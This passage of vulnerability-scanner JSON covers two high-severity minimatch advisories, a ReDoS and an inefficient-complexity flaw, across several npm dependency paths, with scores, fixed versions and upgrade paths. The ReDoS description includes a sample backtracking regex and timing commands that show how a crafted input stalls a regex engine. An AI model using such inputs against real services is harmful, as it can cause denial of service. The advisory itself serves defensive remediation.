"packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", 